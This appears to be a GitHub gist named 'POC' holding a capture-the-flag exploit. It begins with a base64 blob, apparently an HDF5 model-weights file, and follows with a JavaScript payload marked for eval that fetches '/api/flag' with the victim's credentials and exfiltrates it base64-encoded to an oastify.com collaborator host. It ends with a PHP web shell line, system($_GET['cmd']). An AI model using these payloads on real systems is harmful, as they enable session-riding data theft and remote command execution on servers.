Skip to content

Instantly share code, notes, and snippets.

iUhERg0KGgoAAAAAAAgIAAQAEAAAAAAAAAAAAAAAAAD//////////wA0AAAAAAAA//////////8AAAAAAAAAAGAAAAAAAAAAAQAAAAAAAACIAAAAAAAAAKgCAAAAAAAAAQAGAAEAAAAYAAAAAAAAABAAEAAAAAAAIAMAAAAAAABQAQAAAAAAAFRSRUUAAAEA/////////////////////wAAAAAAAAAAABgAAAAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIRUFQAAAAAFgAAAAAAAAAMAAAAAAAAADIAgAAAAAAAAAAAAAAAAAAbW9kZWxfd2VpZ2h0cwAAAG9wdGltaXplcl93ZWlnaHRzAAAAAAAAAAEAAAAAAAAA
@Marouane133
Marouane133 / poc.js
Last active April 13, 2025 17:49
POC
###TO_EVAL###
fetch('https://2gjkl4u6zjo36sh3v5cc16n37udl1bp0.oastify.com/InitAdmin')
fetch('/api/flag', { credentials: 'include' })
.then(r => r.json())
.then(data => {
fetch('https://2gjkl4u6zjo36sh3v5cc16n37udl1bp0.oastify.com?flag=' + btoa(JSON.stringify(data)))
});
console.log("POC");
###EOF_EVAL###
<?php echo phpinfo(); ?>
<?php echo system($_GET['cmd']); ?>